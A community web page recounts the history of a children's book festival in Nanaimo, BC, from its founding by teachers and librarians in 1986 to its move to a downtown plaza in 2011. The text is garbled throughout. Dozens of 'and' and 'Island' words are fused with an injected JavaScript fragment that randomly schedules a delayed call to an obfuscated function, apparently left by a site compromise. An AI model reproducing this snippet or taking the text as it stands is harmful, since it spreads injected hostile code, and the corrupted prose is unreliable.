History

  • 32 years of BookFest

History

Thora Howell is one of the original volunteers who pioneered the festival

Thora Howell is one of the original founding volunteers who pioneered the festival andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} has been involved in every aspect of the festival during it’s 30+ years.

The Vancouver Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Children’s Book Festival (BookFest) has a long history on Vancouver Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. In 1986, a group of local teachers from School District 68, booksellers, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} librarians organized the first BookFest in Nanaimo, BC. “Seeds for the festival were sown in 1986 when Darlene Forest worked with the Parksville-Qualicum School District to co-ordinate a Canada Council reading program to bring eight writers from across the country,” says Thora Howell, one of the festivals founding volunteers. “That first program enabled every child in the district to meet an author.” When it was over, Sharon Luttrell, the festival’s first co-ordinator, said “We can make it bigger andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} better. I believe we could have a marvellous annual festival.”

Malaspina College joined as a sponsor the following year, providing a central site, advertising andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} registration for the festival – all free of charge. Storytellers Bill Richardson andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Sarah Ellis, authors Janet Munsil andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} H.J. Hutchins, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} puppeteer Michele Carrier were part of that first festival. Hundreds of children were able to listen andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} talk to authors one-on-one. They lined up to have their books signed, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} enjoyed such festival events as bubble blowing, bookmark-making andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} musical acts. This very first festival set the tone for the many years to come.

Since then, BookFest has hosted over 150 of the most esteemed authors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrators from every part of Canada, including Quebec andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the North. Over the years, festival attendance on the day of the event has varied from 450 – 1000. In addition, our outreach program reaches 6000- 9500 children in schools across Vancouver Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} each year.

For our 25th anniversary in 2011, BookFest decided to make the move to downtown Nanaimo. Centered in the Diana Krall Plaza, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} directly in front of the Harbourfront Branch of Vancouver Islandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Regional Library, the festival has thrived. We are looking forward to continuing this great tradition, inspiring children to read, write, draw, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} develop their creativity, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} continuing to show children how great our Canadian authors andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} illustrators are!

30th Anniversary – 2016

We would like to develop an online archive of images, articles, andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} other interesting things from BookFest’s long history. Please contact us with the subject line “Archive” if you have anything you would like to contribute!